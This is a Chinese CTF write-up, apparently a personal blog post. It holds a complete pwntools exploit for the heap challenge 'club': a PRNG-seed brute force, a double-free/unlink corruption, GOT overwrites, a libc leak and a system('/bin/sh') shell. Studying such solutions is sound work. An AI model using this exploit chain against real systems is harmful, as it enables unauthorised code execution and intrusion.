记第一次解PWN题目

# -*- coding: cp936 -*-
from pwn import *

g_local=False

#不设置log_level为debug会导致程序的输出不显示出来
context.log_level = 'debug'

if g_local:
    #启动程序
    p = process('./club')

    #调试器附加该程序
    #gdb.attach(p)
else:
    #连接远程服务器
    p = remote('123.206.22.95',8888)

#修改缓存区内容    
def edit(index,content):
    p.send('3')
    p.recvuntil('> ')
    p.send(str(index+1))
    p.send(content)
    p.send('\x0a')
    p.recvuntil('> ')

#申请一段内存
def create(index,size,content):
    p.send('1')
    p.recvuntil('> ')
    p.send(str(index+1))
    p.recvuntil('> ')
    p.send(str(size))
    p.recvuntil('> ')
    edit(index,content)

#释放一段内存  
def delete(index):
    p.send('2')
    p.recvuntil('> ')
    p.send(str(index+1))
    p.recvuntil('> ')

def delete2(index):
    p.send('2')
    p.recvuntil('> ')
    p.send(str(index+1))

def getpwn():
    system_off = 0x45390
    puts_off = 0x6f690

    #got_addr = 0x202018
    #p_addr=0x202128
    #puts_plt = 0x8A0
    #seed_addr=0x202148

    p.recvuntil('> ')
    p.send('5')
    p.recvuntil('> ')
    p.send('1')
    p.recvuntil('> ')
    p.send('5')
    p.recvuntil('> ')
    #程序会用一个全局变量的基地址当作随机种子,并生成随机数让你猜
    #猜对了就会显示这个全局变量的基地址
    #伪随机算法存在一个问题,如果种子一样,那么生成的随机数也一样
    #所以可以通过使用同样的随机函数库来穷解求出接下来的随机数
    secondrandom=input('input second random...\n')
    p.send(str(secondrandom))
    p.recvuntil(': ')
    r=p.recvuntil('!')
    numstr=r[0:len(r)-1]
    seed_addr=long(numstr)
    #获得全局变量基地址
    log.info('seed_addr:'+hex(seed_addr))

    #通过这个基地址,计算GOT表地址,数组地址,puts函数地址,
    got_addr=seed_addr-0x130
    p_addr=seed_addr-0x28
    puts_plt=seed_addr-0x2018a8

    p.recvuntil('> ')

    create(0,0x20,'0000')
    #利用double free漏洞,最终使*p=p-0x18
    create(2,0x120,'2222')
    create(1,0x110,'1111')
    delete(2)
    delete(1)
    payload = p64(0)+p64(0x121)+p64(p_addr-0x18)+p64(p_addr-0x10)+'A'*(0x120-0x20)+p64(0x120)+p64(0x240-0x120)
    create(3,0x240,payload)
    delete(1)

    #修改x[3]相当于在修改&x[3]-0x18=>>&x[0]
    edit(3,p64(got_addr)+p64(got_addr+0x10))
    #由于got表的第一项为free函数,所以这里将free函数修改为了puts函数
    edit(0,p64(puts_plt))
    #输出got_addr+0x10的内容,即输出glibc模块中puts的地址
    delete2(1)

    #利用偏移可以计算出system函数地址
    puts_addr = p.recv(6)
    log.info('puts_addr:'+puts_addr)
    system_addr = u64(puts_addr+'\x00'*2)-puts_off+system_off

    log.info('system address:'+hex(system_addr))

    p.recvuntil('> ')

    #最终调用system拿到shell
    edit(2,'/bin/sh\x00')
    edit(0,p64(system_addr))
    delete2(2)
    p.interactive()
    #最后不要忘记了输入ls命令,取得flag

getpwn();

猜随机数的代码

#include   
#include   

int main()  
{  
    int n,k;
    puts("输入第一个随机数:");
    scanf("%d",&k);
        printf("随机数:%d\n",k);
    for (int i=0;i<=0xfffff;i++)
    {
        n=(i<<12)|0x148;
        srand(n);
        if (rand()==k)
        {
            printf("第二个随机数:%d",rand());
            break;
        }
    }
}

你可能感兴趣的:(记第一次解PWN题目)